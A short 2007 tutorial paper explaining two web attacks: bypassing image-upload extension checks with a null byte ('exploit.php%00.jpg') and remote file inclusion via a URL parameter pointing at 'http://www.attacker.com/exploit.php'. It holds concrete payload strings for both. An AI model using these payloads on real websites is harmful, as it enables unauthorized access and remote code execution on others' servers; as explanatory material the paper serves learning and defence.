# EXPLOITING TECHNIQUES

Danilo Vizzarro
info@danilovizzarro.it

10 April 2007

# Exploiting Techniques

An exploit is a sequence of commands or operations that can be executed when a vulnerability is found, with the aim of gain an unauthorized access to a target machine. There are many different kinds of exploits. In this paper we would like to describe two examples of these.

## NULL BYTE - PICTURE UPLOAD

The *Null Byte*, known also as *Null Character* or *Null Terminator*, in the ASCII and UNICODE character sets, is a character with zero value. It is used in the programming languages as a string terminator, meaning that the string ends when read. In PHP the *Null Byte* is represented with '%00'.
The exploit that will be described, can be used to gain access on websites that allow the upload of pictures. They generally have a *Browse* button that should be clicked for to choose the picture to upload on the server. Once the file is selected, before to start the upload, the server will check the extension of the file, and generally will permit the upload if the extension is e.g. JPG, GIF or BMP. It means that all the attempts to upload other kinds of files will fail and an error message such as 'The file you are trying to upload is not an image!' will be sent.
Anyhow the *Null Character* can be used for to try to exploit the system and to inject a PHP file containing a malicious code. All one needs to do is to select the PHP file to upload without clicking the upload button. The

path of the file to upload will be showed, which for the Unix system looks somewhat like the following:

```
/Users/username/exploit.php
```

and for the Windows systems something like:

```
c:\exploit.php
```

At this point one should type manually the *Null Character* followed by one of the images extensions as follows:

```
/Users/username/exploit.php%00.jpg
```

or

```
c:\exploit.php%00.jpg
```

After clicking on the *Upload* button, the server will check the extension, thinking an image is being uploaded, and return a message such as Thank you for uploading your image!'. Once the file is uploaded, the malicious code can be executed onto the server.

## REMOTE FILE INCLUSION

The *Remote File Inclusion* exploit (RFI), can be used to gain an unauthorized access and to run malicious code on the attacked website. The vulnerable websites are the ones who call another page to be displayed as follows:

```
http://www.target.com/index.php?page=script.php?
```

It seem that 'page' is calling up everything follow the equals sign, but sometime it does not work in this way and the exploit does not work. The websites vulnerability could be checked by typing the URL of Google.com after the equals sign as follows:

```
http://www.target.com/index.php?page=www.google.com
```

If Google.com will be displayed the website is vulnerable. At this point the URL could be edited by typing the address of the malicious code already uploaded on another web server:

```
http://www.target.com/index.php?page=http://www.attacker.com/exploit.php
```

The result is that the malicious code will be executed on the target server.